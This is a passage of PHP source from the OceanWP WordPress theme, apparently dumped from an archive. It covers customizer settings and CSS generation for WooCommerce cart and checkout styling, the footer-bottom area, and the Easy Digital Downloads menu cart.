.cross-sells,.woocommerce-cart .cart-collaterals h2,.woocommerce-cart .cart-collaterals .cart_totals,.woocommerce-page .cart-collaterals .cart_totals,.woocommerce-cart .cart-collaterals .cart_totals table th,.woocommerce-cart .cart-collaterals .cart_totals .order-total th,.woocommerce-cart table.shop_table td,.woocommerce-cart .cart-collaterals .cart_totals tr td,.woocommerce-cart .cart-collaterals .cart_totals .order-total td{border-color:'. $cart_borders_color .';}'; } // Add cart head background if ( ! empty( $cart_head_bg ) && '#f7f7f7' != $cart_head_bg ) { $css .= '.woocommerce-cart table.shop_table thead,.woocommerce-cart .cart-collaterals h2{background-color:'. $cart_head_bg .';}'; } // Add cart head titles color if ( ! empty( $cart_head_titles_color ) && '#444444' != $cart_head_titles_color ) { $css .= '.woocommerce-cart table.shop_table thead th,.woocommerce-cart .cart-collaterals h2{color:'. $cart_head_titles_color .';}'; } // Add cart totals table titles color if ( ! empty( $cart_totals_table_titles_color ) && '#444444' != $cart_totals_table_titles_color ) { $css .= '.woocommerce-cart .cart-collaterals .cart_totals table th{color:'. $cart_totals_table_titles_color .';}'; } // Add cart remove button color if ( ! empty( $cart_remove_button_color ) && '#bbbbbb' != $cart_remove_button_color ) { $css .= '.woocommerce table.shop_table a.remove{color:'. $cart_remove_button_color .';}'; } // Add cart remove button color hover if ( ! empty( $cart_remove_button_color_hover ) && '#333333' != $cart_remove_button_color_hover ) { $css .= '.woocommerce table.shop_table a.remove:hover{color:'. $cart_remove_button_color_hover .';}'; } // Add checkout notices borders color if ( ! empty( $checkout_notices_borders_color ) && '#e9e9e9' != $checkout_notices_borders_color ) { $css .= '.woocommerce-checkout .woocommerce-info{border-color:'. $checkout_notices_borders_color .';}'; } // Add checkout notices icon color if ( ! empty( $checkout_notices_icon_color ) && '#dddddd' != $checkout_notices_icon_color ) { $css .= '.woocommerce-checkout .woocommerce-info:before{color:'. $checkout_notices_icon_color .';}'; } // Add checkout notices color if ( ! empty( $checkout_notices_color ) && '#777777' != $checkout_notices_color ) { $css .= '.woocommerce-checkout .woocommerce-info{color:'. $checkout_notices_color .';}'; } // Add checkout notices link color if ( ! empty( $checkout_notices_link_color ) && '#13aff0' != $checkout_notices_link_color ) { $css .= '.woocommerce-checkout .woocommerce-info a{color:'. $checkout_notices_link_color .';}'; } // Add checkout notices link color hover if ( ! empty( $checkout_notices_link_color_hover ) && '#333333' != $checkout_notices_link_color_hover ) { $css .= '.woocommerce-checkout .woocommerce-info a:hover{color:'. $checkout_notices_link_color_hover .';}'; } // Add checkout notices form border color if ( ! empty( $checkout_notices_form_border_color ) && '#e9e9e9' != $checkout_notices_form_border_color ) { $css .= '.woocommerce-checkout form.login,.woocommerce-checkout form.checkout_coupon{border-color:'. $checkout_notices_form_border_color .';}'; } // Add checkout titles color if ( ! empty( $checkout_titles_color ) && '#333333' != $checkout_titles_color ) { $css .= '.woocommerce .woocommerce-checkout #customer_details h3,.woocommerce .woocommerce-checkout h3#order_review_heading{color:'. $checkout_titles_color .';}'; } // Add checkout notices titles border bottom color if ( ! empty( $checkout_titles_border_bottom_color ) && '#e9e9e9' != $checkout_titles_border_bottom_color ) { $css .= '.woocommerce .woocommerce-checkout #customer_details h3,.woocommerce .woocommerce-checkout h3#order_review_heading{border-color:'. $checkout_titles_border_bottom_color .';}'; } // Add checkout table main background if ( ! empty( $checkout_table_main_bg ) && '#f7f7f7' != $checkout_table_main_bg ) { $css .= '.woocommerce table.shop_table thead,.woocommerce-checkout-review-order-table tfoot th{background-color:'. $checkout_table_main_bg .';}'; } // Add checkout table titles color if ( ! empty( $checkout_table_titles_color ) && '#444444' != $checkout_table_titles_color ) { $css .= '.woocommerce-checkout table.shop_table thead th,.woocommerce #order_review table.shop_table tfoot th{color:'. $checkout_table_titles_color .';}'; } // Add checkout table borders color if ( ! empty( $checkout_table_borders_color ) && '#e9e9e9' != $checkout_table_borders_color ) { $css .= '.woocommerce-checkout table.shop_table,.woocommerce-checkout table.shop_table th,.woocommerce-checkout table.shop_table td,.woocommerce-checkout table.shop_table tfoot th,.woocommerce-checkout table.shop_table tfoot td{border-color:'. $checkout_table_borders_color .';}'; } // Add checkout payment methods background if ( ! empty( $checkout_payment_methods_bg ) && '#f8f8f8' != $checkout_payment_methods_bg ) { $css .= '.woocommerce-checkout #payment{background-color:'. $checkout_payment_methods_bg .';}'; } // Add checkout payment methods borders color if ( ! empty( $checkout_payment_methods_borders_color ) && '#e9e9e9' != $checkout_payment_methods_borders_color ) { $css .= '.woocommerce-checkout #payment,.woocommerce-checkout #payment ul.payment_methods{border-color:'. $checkout_payment_methods_borders_color .';}'; } // Add checkout payment box background if ( ! empty( $checkout_payment_box_bg ) && '#ffffff' != $checkout_payment_box_bg ) { $css .= '.woocommerce-checkout #payment div.payment_box{background-color:'. $checkout_payment_box_bg .';}'; } // Add checkout payment box color if ( ! empty( $checkout_payment_box_color ) && '#515151' != $checkout_payment_box_color ) { $css .= '.woocommerce-checkout #payment div.payment_box{color:'. $checkout_payment_box_color .';}'; } // If shop page Both Sidebars layout if ( 'both-sidebars' == $archives_layout ) { // Both Sidebars layout shop page content width if ( ! empty( $bs_archives_content_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.woocommerce.archive.content-both-sidebars .content-area {width: '. $bs_archives_content_width .'%;} body.woocommerce.archive.content-both-sidebars.scs-style .widget-area.sidebar-secondary, body.woocommerce.archive.content-both-sidebars.ssc-style .widget-area {left: -'. $bs_archives_content_width .'%;} }'; } // Both Sidebars layout shop page sidebars width if ( ! empty( $bs_archives_sidebars_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.woocommerce.archive.content-both-sidebars .widget-area{width:'. $bs_archives_sidebars_width .'%;} body.woocommerce.archive.content-both-sidebars.scs-style .content-area{left:'. $bs_archives_sidebars_width .'%;} body.woocommerce.archive.content-both-sidebars.ssc-style .content-area{left:'. $bs_archives_sidebars_width * 2 .'%;} }'; } } // If single product Both Sidebars layout if ( 'both-sidebars' == $single_layout ) { // Both Sidebars layout single product content width if ( ! empty( $bs_single_content_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.single-product.content-both-sidebars .content-area {width: '. $bs_single_content_width .'%;} body.single-product.content-both-sidebars.scs-style .widget-area.sidebar-secondary, body.single-product.content-both-sidebars.ssc-style .widget-area {left: -'. $bs_single_content_width .'%;} }'; } // Both Sidebars layout single product sidebars width if ( ! empty( $bs_single_sidebars_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.single-product.content-both-sidebars .widget-area{width:'. $bs_single_sidebars_width .'%;} body.single-product.content-both-sidebars.scs-style .content-area{left:'. $bs_single_sidebars_width .'%;} body.single-product.content-both-sidebars.ssc-style .content-area{left:'. $bs_single_sidebars_width * 2 .'%;} }'; } } // Return CSS if ( ! empty( $css ) ) { $output .= '/* WooCommerce CSS */'. $css; } // Return output css return $output; } } endif; return new OceanWP_WooCommerce_Customizer();customizer/settings/footer-bottom.php000064400000035265151551031110014125 0ustar00add_section( $section, array( 'title' => esc_html__( 'Footer Bottom', 'oceanwp' ), 'priority' => 210, ) ); /** * Enable Footer Bottom */ $wp_customize->add_setting( 'ocean_footer_bottom', array( 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_footer_bottom', array( 'label' => esc_html__( 'Enable Footer Bottom', 'oceanwp' ), 'type' => 'checkbox', 'section' => $section, 'settings' => 'ocean_footer_bottom', 'priority' => 10, ) ) ); /** * Footer Bottom Visibility */ $wp_customize->add_setting( 'ocean_bottom_footer_visibility', array( 'transport' => 'postMessage', 'default' => 'all-devices', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_bottom_footer_visibility', array( 'label' => esc_html__( 'Visibility', 'oceanwp' ), 'type' => 'select', 'section' => $section, 'settings' => 'ocean_bottom_footer_visibility', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_footer_bottom', 'choices' => array( 'all-devices' => esc_html__( 'Show On All Devices', 'oceanwp' ), 'hide-tablet' => esc_html__( 'Hide On Tablet', 'oceanwp' ), 'hide-mobile' => esc_html__( 'Hide On Mobile', 'oceanwp' ), 'hide-tablet-mobile' => esc_html__( 'Hide On Tablet & Mobile', 'oceanwp' ), ), ) ) ); /** * Footer Bottom Copyright */ $wp_customize->add_setting( 'ocean_footer_copyright_text', array( 'transport' => 'postMessage', 'default' => 'Copyright [oceanwp_date] - OceanWP Theme by OceanWP', 'sanitize_callback' => 'wp_kses_post', ) ); $wp_customize->add_control( new OceanWP_Customizer_Textarea_Control( $wp_customize, 'ocean_footer_copyright_text', array( 'label' => esc_html__( 'Copyright', 'oceanwp' ), /* translators: 1: shortocde doc link 2: */ 'description' => sprintf( esc_html__( 'Shortcodes allowed, %1$ssee the list%2$s.', 'oceanwp' ), '', '' ), 'section' => $section, 'settings' => 'ocean_footer_copyright_text', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_footer_bottom', ) ) ); /** * Footer Bottom Padding */ $wp_customize->add_setting( 'ocean_bottom_footer_top_padding', array( 'transport' => 'postMessage', 'default' => '15', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_bottom_footer_right_padding', array( 'transport' => 'postMessage', 'default' => '0', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_bottom_footer_bottom_padding', array( 'transport' => 'postMessage', 'default' => '15', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_bottom_footer_left_padding', array( 'transport' => 'postMessage', 'default' => '0', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_bottom_footer_tablet_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_bottom_footer_tablet_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_bottom_footer_tablet_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_bottom_footer_tablet_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_bottom_footer_mobile_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_bottom_footer_mobile_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_bottom_footer_mobile_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_bottom_footer_mobile_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Dimensions_Control( $wp_customize, 'ocean_bottom_footer_padding_dimensions', array( 'label' => esc_html__( 'Padding (px)', 'oceanwp' ), 'section' => $section, 'settings' => array( 'desktop_top' => 'ocean_bottom_footer_top_padding', 'desktop_right' => 'ocean_bottom_footer_right_padding', 'desktop_bottom' => 'ocean_bottom_footer_bottom_padding', 'desktop_left' => 'ocean_bottom_footer_left_padding', 'tablet_top' => 'ocean_bottom_footer_tablet_top_padding', 'tablet_right' => 'ocean_bottom_footer_tablet_right_padding', 'tablet_bottom' => 'ocean_bottom_footer_tablet_bottom_padding', 'tablet_left' => 'ocean_bottom_footer_tablet_left_padding', 'mobile_top' => 'ocean_bottom_footer_mobile_top_padding', 'mobile_right' => 'ocean_bottom_footer_mobile_right_padding', 'mobile_bottom' => 'ocean_bottom_footer_mobile_bottom_padding', 'mobile_left' => 'ocean_bottom_footer_mobile_left_padding', ), 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_footer_bottom', 'input_attrs' => array( 'min' => 0, 'max' => 500, 'step' => 1, ), ) ) ); /** * Footer Bottom Background Color */ $wp_customize->add_setting( 'ocean_bottom_footer_background', array( 'transport' => 'postMessage', 'default' => '#1b1b1b', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_bottom_footer_background', array( 'label' => esc_html__( 'Background Color', 'oceanwp' ), 'section' => $section, 'settings' => 'ocean_bottom_footer_background', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_footer_bottom', ) ) ); /** * Footer Bottom Color */ $wp_customize->add_setting( 'ocean_bottom_footer_color', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_bottom_footer_color', array( 'label' => esc_html__( 'Text Color', 'oceanwp' ), 'section' => $section, 'settings' => 'ocean_bottom_footer_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_footer_bottom', ) ) ); /** * Footer Bottom Links Color */ $wp_customize->add_setting( 'ocean_bottom_footer_link_color', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_bottom_footer_link_color', array( 'label' => esc_html__( 'Links Color', 'oceanwp' ), 'section' => $section, 'settings' => 'ocean_bottom_footer_link_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_footer_bottom', ) ) ); /** * Footer Bottom Links Hover Color */ $wp_customize->add_setting( 'ocean_bottom_footer_link_color_hover', array( 'transport' => 'postMessage', 'default' => '#13aff0', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_bottom_footer_link_color_hover', array( 'label' => esc_html__( 'Links Color: Hover', 'oceanwp' ), 'section' => $section, 'settings' => 'ocean_bottom_footer_link_color_hover', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_footer_bottom', ) ) ); } /** * Get CSS * * @param obj $output css output. * @since 1.0.0 */ public static function head_css( $output ) { // Global vars. $bottom_top_padding = get_theme_mod( 'ocean_bottom_footer_top_padding', '15' ); $bottom_right_padding = get_theme_mod( 'ocean_bottom_footer_right_padding', '0' ); $bottom_bottom_padding = get_theme_mod( 'ocean_bottom_footer_bottom_padding', '15' ); $bottom_left_padding = get_theme_mod( 'ocean_bottom_footer_left_padding', '0' ); $tablet_top_padding = get_theme_mod( 'ocean_bottom_footer_tablet_top_padding' ); $tablet_right_padding = get_theme_mod( 'ocean_bottom_footer_tablet_right_padding' ); $tablet_bottom_padding = get_theme_mod( 'ocean_bottom_footer_tablet_bottom_padding' ); $tablet_left_padding = get_theme_mod( 'ocean_bottom_footer_tablet_left_padding' ); $mobile_top_padding = get_theme_mod( 'ocean_bottom_footer_mobile_top_padding' ); $mobile_right_padding = get_theme_mod( 'ocean_bottom_footer_mobile_right_padding' ); $mobile_bottom_padding = get_theme_mod( 'ocean_bottom_footer_mobile_bottom_padding' ); $mobile_left_padding = get_theme_mod( 'ocean_bottom_footer_mobile_left_padding' ); $bottom_background = get_theme_mod( 'ocean_bottom_footer_background', '#1b1b1b' ); $bottom_color = get_theme_mod( 'ocean_bottom_footer_color', '#ffffff' ); $bottom_link_color = get_theme_mod( 'ocean_bottom_footer_link_color', '#ffffff' ); $bottom_link_color_hover = get_theme_mod( 'ocean_bottom_footer_link_color_hover', '#13aff0' ); // Define css var. $css = ''; // Footer bottom padding. if ( isset( $bottom_top_padding ) && '15' != $bottom_top_padding && '' != $bottom_top_padding || isset( $bottom_right_padding ) && '0' != $bottom_right_padding && '' != $bottom_right_padding || isset( $bottom_bottom_padding ) && '15' != $bottom_bottom_padding && '' != $bottom_bottom_padding || isset( $bottom_left_padding ) && '0' != $bottom_left_padding && '' != $bottom_left_padding ) { $css .= '#footer-bottom{padding:' . oceanwp_spacing_css( $bottom_top_padding, $bottom_right_padding, $bottom_bottom_padding, $bottom_left_padding ) . '}'; } // Tablet footer bottom padding. if ( isset( $tablet_top_padding ) && '' != $tablet_top_padding || isset( $tablet_right_padding ) && '' != $tablet_right_padding || isset( $tablet_bottom_padding ) && '' != $tablet_bottom_padding || isset( $tablet_left_padding ) && '' != $tablet_left_padding ) { $css .= '@media (max-width: 768px){#footer-bottom{padding:' . oceanwp_spacing_css( $tablet_top_padding, $tablet_right_padding, $tablet_bottom_padding, $tablet_left_padding ) . '}}'; } // Mobile footer bottom padding. if ( isset( $mobile_top_padding ) && '' != $mobile_top_padding || isset( $mobile_right_padding ) && '' != $mobile_right_padding || isset( $mobile_bottom_padding ) && '' != $mobile_bottom_padding || isset( $mobile_left_padding ) && '' != $mobile_left_padding ) { $css .= '@media (max-width: 480px){#footer-bottom{padding:' . oceanwp_spacing_css( $mobile_top_padding, $mobile_right_padding, $mobile_bottom_padding, $mobile_left_padding ) . '}}'; } // Footer bottom background. if ( ! empty( $bottom_background ) && '#1b1b1b' != $bottom_background ) { $css .= '#footer-bottom{background-color:' . $bottom_background . ';}'; } // Footer bottom color. if ( ! empty( $bottom_color ) && '#ffffff' != $bottom_color ) { $css .= '#footer-bottom,#footer-bottom p{color:' . $bottom_color . ';}'; } // Footer bottom links color. if ( ! empty( $bottom_link_color ) && '#ffffff' != $bottom_link_color ) { $css .= '#footer-bottom a,#footer-bottom #footer-bottom-menu a{color:' . $bottom_link_color . ';}'; } // Footer bottom links hover color. if ( ! empty( $bottom_link_color_hover ) && '#13aff0' != $bottom_link_color_hover ) { $css .= '#footer-bottom a:hover,#footer-bottom #footer-bottom-menu a:hover{color:' . $bottom_link_color_hover . ';}'; } // Return CSS. if ( ! empty( $css ) ) { $output .= '/* Footer Bottom CSS */' . $css; } // Return output css. return $output; } } endif; return new OceanWP_Footer_Bottom_Customizer(); customizer/settings/edd.php000064400000351501151551031110012053 0ustar00add_panel( $panel, array( 'title' => esc_html__( 'Easy Digital Downloads', 'oceanwp' ), 'priority' => 210, ) ); /** * Section */ $wp_customize->add_section( 'ocean_edd_general', array( 'title' => esc_html__( 'General', 'oceanwp' ), 'description' => esc_html__( 'For some options, you must save and refresh your live site to preview changes.', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Custom EDD Sidebar */ $wp_customize->add_setting( 'ocean_edd_custom_sidebar', array( 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_edd_custom_sidebar', array( 'label' => esc_html__( 'Custom EDD Sidebar', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_edd_general', 'settings' => 'ocean_edd_custom_sidebar', 'priority' => 10, ) ) ); /** * Display Cart When Product Added */ $wp_customize->add_setting( 'ocean_edd_display_cart_edd_added', array( 'default' => 'no', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_edd_display_cart_edd_added', array( 'label' => esc_html__( 'Display Cart When Product Added', 'oceanwp' ), 'description' => esc_html__( 'Display the cart when a edd is added, work in the shop and the single edd pages if ajax is enabled.', 'oceanwp' ), 'section' => 'ocean_edd_general', 'settings' => 'ocean_edd_display_cart_edd_added', 'priority' => 10, 'choices' => array( 'yes' => esc_html__( 'Yes', 'oceanwp' ), 'no' => esc_html__( 'No', 'oceanwp' ), ), ) ) ); /** * Section */ $wp_customize->add_section( 'ocean_edd_menu_cart', array( 'title' => esc_html__( 'Menu Cart', 'oceanwp' ), 'description' => esc_html__( 'For some options, you must save and refresh your live site to preview changes.', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Hide If Empty */ $wp_customize->add_setting( 'ocean_edd_menu_icon_hide_if_empty', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_edd_menu_icon_hide_if_empty', array( 'label' => esc_html__( 'Hide If Empty Cart', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_edd_menu_cart', 'settings' => 'ocean_edd_menu_icon_hide_if_empty', 'priority' => 10, ) ) ); /** * Visibility */ $wp_customize->add_setting( 'ocean_edd_menu_icon_visibility', array( 'default' => 'default', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_edd_menu_icon_visibility', array( 'label' => esc_html__( 'Visibility', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_edd_menu_cart', 'settings' => 'ocean_edd_menu_icon_visibility', 'priority' => 10, 'choices' => array( 'default' => esc_html__( 'Display On All Devices', 'oceanwp' ), 'disabled' => esc_html__( 'Disabled On All Devices', 'oceanwp' ), ), ) ) ); /** * Bag Style */ $wp_customize->add_setting( 'ocean_edd_menu_bag_style', array( 'default' => 'no', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_edd_menu_bag_style', array( 'label' => esc_html__( 'Bag Style', 'oceanwp' ), 'description' => esc_html__( 'This setting rep^lace the cart icon by a bag with the items count in it.', 'oceanwp' ), 'section' => 'ocean_edd_menu_cart', 'settings' => 'ocean_edd_menu_bag_style', 'priority' => 10, 'choices' => array( 'yes' => esc_html__( 'Yes', 'oceanwp' ), 'no' => esc_html__( 'No', 'oceanwp' ), ), ) ) ); /** * Bag Style Total */ $wp_customize->add_setting( 'ocean_edd_menu_bag_style_total', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_edd_menu_bag_style_total', array( 'label' => esc_html__( 'Bag Icon Display Total', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_edd_menu_cart', 'settings' => 'ocean_edd_menu_bag_style_total', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_edd_bag_style', ) ) ); /** * Bag Icon Color */ $wp_customize->add_setting( 'ocean_edd_menu_bag_icon_color', array( 'transport' => 'postMessage', 'default' => '#333333', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_menu_bag_icon_color', array( 'label' => esc_html__( 'Bag Icon Color', 'oceanwp' ), 'section' => 'ocean_edd_menu_cart', 'settings' => 'ocean_edd_menu_bag_icon_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_edd_bag_style', ) ) ); /** * Bag Icon Hover Color */ $wp_customize->add_setting( 'ocean_edd_menu_bag_icon_hover_color', array( 'transport' => 'postMessage', 'default' => '#13aff0', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_menu_bag_icon_hover_color', array( 'label' => esc_html__( 'Bag Icon Hover Color', 'oceanwp' ), 'section' => 'ocean_edd_menu_cart', 'settings' => 'ocean_edd_menu_bag_icon_hover_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_edd_bag_style', ) ) ); /** * Bag Icon Count Color */ $wp_customize->add_setting( 'ocean_edd_menu_bag_icon_count_color', array( 'transport' => 'postMessage', 'default' => '#333333', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_menu_bag_icon_count_color', array( 'label' => esc_html__( 'Bag Icon Count Color', 'oceanwp' ), 'section' => 'ocean_edd_menu_cart', 'settings' => 'ocean_edd_menu_bag_icon_count_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_edd_bag_style', ) ) ); /** * Bag Icon Hover Count Color */ $wp_customize->add_setting( 'ocean_edd_menu_bag_icon_hover_count_color', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_menu_bag_icon_hover_count_color', array( 'label' => esc_html__( 'Bag Icon Hover Count Color', 'oceanwp' ), 'section' => 'ocean_edd_menu_cart', 'settings' => 'ocean_edd_menu_bag_icon_hover_count_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_edd_bag_style', ) ) ); /** * Display */ $wp_customize->add_setting( 'ocean_edd_menu_icon_display', array( 'default' => 'icon_count', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_edd_menu_icon_display', array( 'label' => esc_html__( 'Display', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_edd_menu_cart', 'settings' => 'ocean_edd_menu_icon_display', 'priority' => 10, 'choices' => array( 'icon' => esc_html__( 'Icon', 'oceanwp' ), 'icon_total' => esc_html__( 'Icon And Cart Total', 'oceanwp' ), 'icon_count' => esc_html__( 'Icon And Cart Count', 'oceanwp' ), 'icon_count_total' => esc_html__( 'Icon And Cart Count + Total', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_hasnt_edd_bag_style', ) ) ); /** * Style */ $wp_customize->add_setting( 'ocean_edd_menu_icon_style', array( 'transport' => 'postMessage', 'default' => 'drop_down', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_edd_menu_icon_style', array( 'label' => esc_html__( 'Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_edd_menu_cart', 'settings' => 'ocean_edd_menu_icon_style', 'priority' => 10, 'choices' => array( 'drop_down' => esc_html__( 'Drop-Down', 'oceanwp' ), 'cart' => esc_html__( 'Go To Cart', 'oceanwp' ), 'custom_link' => esc_html__( 'Custom Link', 'oceanwp' ), ), ) ) ); /** * Custom Link */ $wp_customize->add_setting( 'ocean_edd_menu_icon_custom_link', array( 'transport' => 'postMessage', 'sanitize_callback' => 'esc_url_raw', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_edd_menu_icon_custom_link', array( 'label' => esc_html__( 'Custom Link', 'oceanwp' ), 'description' => esc_html__( 'The Custom Link style need to be selected', 'oceanwp' ), 'type' => 'text', 'section' => 'ocean_edd_menu_cart', 'settings' => 'ocean_edd_menu_icon_custom_link', 'priority' => 10, ) ) ); /** * Icon */ $wp_customize->add_setting( 'ocean_edd_menu_icon', array( 'default' => 'icon_handbag', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control( new OceanWP_Customizer_Icon_Select_Multi_Control( $wp_customize, 'ocean_edd_menu_icon', array( 'label' => esc_html__( 'Cart Icon', 'oceanwp' ), 'section' => 'ocean_edd_menu_cart', 'settings' => 'ocean_edd_menu_icon', 'priority' => 10, 'type' => 'select', 'choices' => oceanwp_get_cart_icons(), 'active_callback' => 'oceanwp_cac_hasnt_edd_bag_style', ) ) ); /** * Custom Icon */ $wp_customize->add_setting( 'ocean_edd_menu_custom_icon', array( 'transport' => 'postMessage', 'sanitize_callback' => 'wp_filter_nohtml_kses', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_edd_menu_custom_icon', array( 'label' => esc_html__( 'Custom Icon', 'oceanwp' ), 'description' => esc_html__( 'Enter your full icon class', 'oceanwp' ), 'type' => 'text', 'section' => 'ocean_edd_menu_cart', 'settings' => 'ocean_edd_menu_custom_icon', 'priority' => 10, 'active_callback' => 'oceanwp_cac_hasnt_edd_bag_style', ) ) ); /** * Icon Size */ $wp_customize->add_setting( 'ocean_edd_menu_icon_size', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_menu_icon_size_tablet', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_menu_icon_size_mobile', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Slider_Control( $wp_customize, 'ocean_edd_menu_icon_size', array( 'label' => esc_html__( 'Icon Size (px)', 'oceanwp' ), 'section' => 'ocean_edd_menu_cart', 'settings' => array( 'desktop' => 'ocean_edd_menu_icon_size', 'tablet' => 'ocean_edd_menu_icon_size_tablet', 'mobile' => 'ocean_edd_menu_icon_size_mobile', ), 'priority' => 10, 'input_attrs' => array( 'min' => 10, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_hasnt_edd_bag_style', ) ) ); /** * Center Vertically */ $wp_customize->add_setting( 'ocean_edd_menu_icon_center_vertically', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_menu_icon_center_vertically_tablet', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_menu_icon_center_vertically_mobile', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Slider_Control( $wp_customize, 'ocean_edd_menu_icon_center_vertically', array( 'label' => esc_html__( 'Center Vertically', 'oceanwp' ), 'description' => esc_html__( 'Use this field to center your icon vertically', 'oceanwp' ), 'section' => 'ocean_edd_menu_cart', 'settings' => array( 'desktop' => 'ocean_edd_menu_icon_center_vertically', 'tablet' => 'ocean_edd_menu_icon_center_vertically_tablet', 'mobile' => 'ocean_edd_menu_icon_center_vertically_mobile', ), 